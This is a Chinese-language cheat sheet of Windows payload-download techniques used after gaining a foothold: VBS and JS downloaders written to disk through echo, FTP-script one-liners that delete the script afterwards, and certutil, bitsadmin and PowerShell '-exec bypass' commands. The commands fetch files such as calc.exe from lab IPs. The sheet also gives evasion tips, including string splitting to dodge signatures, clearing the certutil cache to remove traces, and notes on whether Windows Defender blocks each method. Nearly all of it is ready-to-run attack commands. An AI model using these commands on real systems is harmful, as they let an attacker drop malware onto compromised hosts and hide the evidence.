payload下载方式
1、VBS下载
1、下载方式1
## down.vbs
set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open "get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2
## echo写入
echo set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open "get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 > down.vbs
## 下载文件
cscript down.vbs http://172.16.175.1/robots.txt d:\test\r.txt
2、无参数方式下载
## down.vbs
strFileURL = "http://172.16.175.1/robots.txt"
strHDLocation = "D:\\readme.txt"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
## 使用echo写入代码,不需要写入缩进
echo strFileURL = "http://172.16.175.1/robots.txt" > down.vbs
echo strHDLocation = "D:\\readme.txt" >> down.vbs
echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >> down.vbs
echo objXMLHTTP.open "GET", strFileURL, false >> down.vbs
echo objXMLHTTP.send() >> down.vbs
echo If objXMLHTTP.Status = 200 Then >> down.vbs
echo Set objADOStream = CreateObject("ADODB.Stream") >> down.vbs
echo objADOStream.Open >> down.vbs
echo objADOStream.Type = 1 >> down.vbs
echo objADOStream.Write objXMLHTTP.ResponseBody >> down.vbs
echo objADOStream.Position = 0 >> down.vbs
echo Set objFSO = CreateObject("Scripting.FileSystemObject") >> down.vbs
echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation >> down.vbs
echo Set objFSO = Nothing >> down.vbs
echo objADOStream.SaveToFile strHDLocation >> down.vbs
echo objADOStream.Close >> down.vbs
echo Set objADOStream = Nothing >> down.vbs
echo End if >> down.vbs
echo Set objXMLHTTP = Nothing >> down.vbs
## 使用cscript下载
cscript down.vbs
3、兼容性测试
2、JS下载
1、字符类payload
## down.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);
## 使用echo写入
echo var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);WinHttpReq.Send();WScript.Echo(WinHttpReq.ResponseText); > down.js
##cscript调用下载,这里要用/nologo 否则会把banner信息写入hello.txt
cscript /nologo down.js http://172.16.175.1/robots.txt > Hello.txt
2、二进制payload
## down.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
## 使用echo写入
echo var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");WinHttpReq.Open("GET",WScript.Arguments(0),false);WinHttpReq.Send();BinStream = new ActiveXObject("ADODB.Stream");BinStream.Type = 1;BinStream.Open();BinStream.Write(WinHttpReq.ResponseBody);BinStream.SaveToFile(WScript.Arguments(1)); > down.js
## 使用cscript调用
cscript /nologo down.js http://172.16.175.1/robots.txt D:\test\Hello.txt
cscript /nologo down.js http://172.16.175.1/calc.exe D:\test\calc.exe
3、兼容性测试
3、FTP下载
ftp命令也是全版本Windows系统都默认包含的,其中-s参数可以指定包含 FTP 命令的文本文件;命令在 FTP 启动后自动运行,可以被利用自动下载远程文件
1、匿名模式
## 写入ftp脚本
echo open 127.0.0.1 21> ftp.txt
echo binary >> ftp.txt
echo get calc.exe >> ftp.txt
echo bye >> ftp.txt
## ftp命令调用
# -A 使用匿名模式,-s:指定ftp脚本
ftp -A -s:ftp.txt
2、密码模式
## 写入ftp脚本
# user / pass 后面不要有空格
echo open 127.0.0.1 21> ftp.txt
echo user>> ftp.txt
echo pass>> ftp.txt
echo binary >> ftp.txt
echo get calc.exe >> ftp.txt
echo bye >> ftp.txt
## ftp命令调用
# -A 使用匿名模式,-s:指定ftp脚本
ftp -s:ftp.txt
3、一句话下载
合并写入脚本与调用的步骤
## 匿名版
echo open 172.16.175.200 21>f&echo binary>>f&echo get calc.exe>>f&echo bye>>f&ftp -A -s:f&del /f /q f
## 密码版
echo open 172.16.175.200 21>f&echo user>>f&echo pass>>f&echo binary>>f&echo get calc.exe>>f&echo bye>>f&ftp -s:f&del /f /q f
## 最短语句版
## 必备条件:匿名、FTP服务器端口是默认的21
echo open 172.16.175.200>f&echo get calc.exe>>f&echo bye>>f&ftp -A -s:f&del /f /q f
4、certutil下载
该工具是证书服务的组件,用于转储和显示证书颁发机构配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。 经过测试该组件在Win2003、2008、7、10里可用,XP下没有
1、下载测试
certutil.exe -urlcache -split -f http://172.16.175.1/robots.txt
使用certutil下载文件之后一定要记得清理缓存
certutil.exe -urlcache -split -f http://172.16.175.1/robots.txt delete
如果没有清理缓存,你的下载记录都会在这里
## 缓存位置:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
2、Windows defender
经过测试 Windows Defender现在会拦截 certutil下载文件
3、其他常用功能
## hash计算
## certutil还可以用来计算文件hash,不指定算法默认计算sha1,还可以指定其它算法比如md5、sha256
certutil -hashfile calc.exe md5
## base64编码文件
-encode 编码文件
-decode 解码文件
## Hex编码文件
-encodehex 把文件编码为hex #可以用来应急查看文件16进制,还有一个对应的-decodehex
5、BITSAdmin下载
这个工具的设计目的应该就是为了传输文件,具有很丰富的下载选项,可以限速、设置代理。但是只存在于Win7、2008之后的操作系统。
常用命令
目标地址必须使用绝对路径
bitsadmin /transfer down /priority high "http://172.16.175.1/robots.txt" C:\Users\xxx\Downloads\a.txt
限速,修改优先级
bitsadmin /transfer down /priority normal "http://172.16.175.1/robots.txt" C:\Users\xxx\Downloads\a.txt
测试https下载,没有问题,WD也没有报毒
bitsadmin /transfer down /priority normal "https://github.com/ChrisKempson/Tomorrow-Theme/raw/master/Images/Tomorrow-Night-Blue-Palette.png" C:\Users\xxx\Downloads\a.png
6、powershell下载
这里提供了两个下载的方式,一个只支持PS3.0+,可以使用通用的2.0版本
1、查看PS版本
powershell $PSVersionTable
2、基于Sytem.Net.WebClient
## win7、2008默认ps版本为2.0+可用
powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('https://www.baidu.com/img/bd_logo1.png','C:\Users\xxx\Downloads\abc.png')
3、基于Invoke-WebRequest
## win8.1默认ps版本3.0+可用
## 使用powershell3.0支持的新方法Invoke-WebRequest
powershell -exec bypass -c (Invoke-WebRequest -Uri 'https://www.baidu.com/img/bd_logo1.png' -OutFile 'C:\Users\xxx\Downloads\xyz.png')
最后更新于